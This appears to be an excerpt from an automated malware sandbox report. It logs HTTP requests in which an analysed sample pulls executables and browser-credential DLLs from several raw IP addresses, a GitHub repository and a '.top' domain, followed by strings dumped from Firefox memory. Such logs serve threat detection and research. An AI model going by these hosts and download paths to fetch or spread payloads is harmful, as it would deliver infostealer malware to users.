Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddljson?async=ntp:2,es_dfp:72fefd38 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /async/ddllog?async=doodle:306735258,slot:22,type:1,cta:0 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=qVzcqauEInmPu2zy1734815809 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: global traffic HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: 1Host: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/zhigarko/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/kardanvalov88/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: CHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: dHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /soft/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0User-Agent: sHost: 185.156.73.23Connection: Keep-AliveCache-Control: no-cache
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000030.00000002.3644428324.000002238C781000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3592510223.000002238B563000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: *://www.facebook.com/platform/impression.php* equals www.facebook.com (Facebook)
Source: firefox.exe, 00000030.00000002.3592510223.000002238B545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: -l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Wikipedia&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.reddit.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="R"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/reddit-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Reddit<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Reddit&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" href="https://twitter.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="T"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/twitter-com@2x.png)"></div></div></div><div class="title"><span dir="auto">Twitter<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;Twitter&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder hide-for-narrow"><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li></ul><div class="edit-topsites-wrapper"></div></div></section></div></div></div></div><style data-styles="[[null]]"></style></div><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div></div></div></div><style data-styles="[[null]]"></style></div></div></main></div></div> equals www.twitter.com (Twitter)
Source: firefox.exe, 00000030.00000002.3537155261.000002238A77C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: Failed to listen. Callback argument missing.@mozilla.org/network/protocol;1?name=defaultFailed to listen. Listener already attached.Unable to start devtools server on Failed to execute WebChannel callback:releaseDistinctSystemPrincipalLoader{9e9a9283-0ce9-4e4a-8f1c-ba129a032c32}WebChannel/this._originCheckCallbackresource://devtools/shared/security/socket.js^[a-z0-9-]+(\.[a-z0-9-]+)*:[0-9]{1,5}([/?#]|$)Got invalid request to save JSON dataJSON Viewer's onSave failed in startPersistencebrowser.fixup.domainsuffixwhitelist.devtools/client/framework/devtools@mozilla.org/uriloader/handler-service;1get FIXUP_FLAG_ALLOW_KEYWORD_LOOKUPget FIXUP_FLAGS_MAKE_ALTERNATE_URIdevtools.debugger.remote-websocketdevtools.performance.popup.feature-flagdevtools/client/framework/devtools-browserresource://devtools/server/devtools-server.jsDevTools telemetry entry point failed: @mozilla.org/dom/slow-script-debug;1browser.urlbar.dnsResolveFullyQualifiedNames^([a-z+.-]+:\/{0,3})*([^\/@]+@).+DevToolsStartup.jsm:handleDebuggerFlag@mozilla.org/network/protocol;1?name=fileget FIXUP_FLAG_FORCE_ALTERNATE_URI^([a-z][a-z0-9.+\t-]*)(:|;)?(\/\/)?No callback set for this channel.browser.fixup.dns_first_for_single_wordsdevtools.performance.recording.ui-base-url@mozilla.org/uriloader/web-handler-app;1extractScheme/fixupChangedProtocol<resource://gre/modules/JSONFile.sys.mjshttp://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%shttp://www.inbox.lv/rfc2368/?value=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/NetUtil.sys.mjsresource://gre/modules/DeferredTask.sys.mjsresource://gre/modules/JSONFile.sys.mjshandlerSvc fillHandlerInfo: don't know this typeresource://gre/modules/FileUtils.sys.mjsresource://gre/modules/ExtHandlerService.sys.mjs@mozilla.org/network/async-stream-copier;1gecko.handlerService.defaultHandlersVersionresource://gre/modules/URIFixup.sys.mjs@mozilla.org/network/file-input-stream;1@mozilla.org/uriloader/local-handler-app;1isDownloadsImprovementsAlreadyMigrated{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededhttps://mail.inbox.lv/compose?to=%s{33d75835-722f-42c0-89cc-44f328e56a86}http://win.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%s@mozilla.org/uriloader/dbus-handler-app;1https://poczta.interia.pl/mh/?mailto=%sCan't invoke URIFixup in the content processScheme should be either http or httpsresource://gre/modules/DeferredTask.sys.mjs_finalizeInternal/this._finalizePromise<resource://gre/modules/FileUtils.sys.mjs@mozilla.org/network/input-stream-pump;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1https://mail.yahoo.co.jp/compose/?To=%snewChannel requires a single object argumenthttps://mail.yandex.ru/compose?mailto=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.inbox.lv/compose?to=%shttps://poczta.
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000030.00000002.3447488113.0000022389D43000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;engine&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 00000030.00000002.3537155261.000002238A703000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp*://pixel.advertising.com/firefox-etp*://*.adsafeprotected.com/*/imp/**://trends.google.com/trends/embed**://www.facebook.com/platform/impression.php**://pubads.g.doubleclick.net/gampad/*xml_vmap2**://pubads.g.doubleclick.net/gampad/*xml_vmap1**://*.adsafeprotected.com/*/unit/**://cdn.cmp.advertising.com/firefox-etpexecuteIDB/promise</transaction.onerror equals www.facebook.com (Facebook)
